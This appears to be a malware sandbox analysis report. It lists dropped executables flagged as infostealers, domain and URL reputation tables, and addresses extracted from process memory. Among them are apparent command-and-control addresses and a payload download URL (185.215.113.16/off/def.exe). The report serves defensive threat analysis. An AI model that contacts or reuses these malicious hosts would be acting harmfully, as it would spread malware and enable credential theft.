C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002608001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	49%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	49%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002608001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	35%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	35%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	35%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.193	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	151.101.1.91	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.186.110	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	142.250.186.110	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
fadehairucw.store	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHa	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000019.00000003.2473178711.000002B9BD1F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2525401575.000002B9A4ED8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3B72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000002.2580737479.000002B9B5C92000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.2354817102.000002B9B4B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valueplaces.sql	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/~	606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phprd	606111e8b5.exe, 00000009.00000002.2310828358.0000000001B72000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store	7f3598dc65.exe, 00000010.00000003.2495307583.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/9K	7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://json-schema.org/draft/2019-09/schemaInstance	firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000019.00000002.2582949782.000002B9B5E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.2576624739.000002B9B57D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exexQ	file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2446227446.00000000013A4000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.duckduckgo.com/ac/_startedLoadSinceLastUserTyping	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://youtube.com/	firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper	firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/bhdf	7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/startDate	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs:places.frecency.pages.alternative.numSampledVisitsfirefox-desktop-	firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fadehairucw.store:443/apiR	7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#http://json-schema.org/draft-04/schema#	firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto	firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/6#	7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
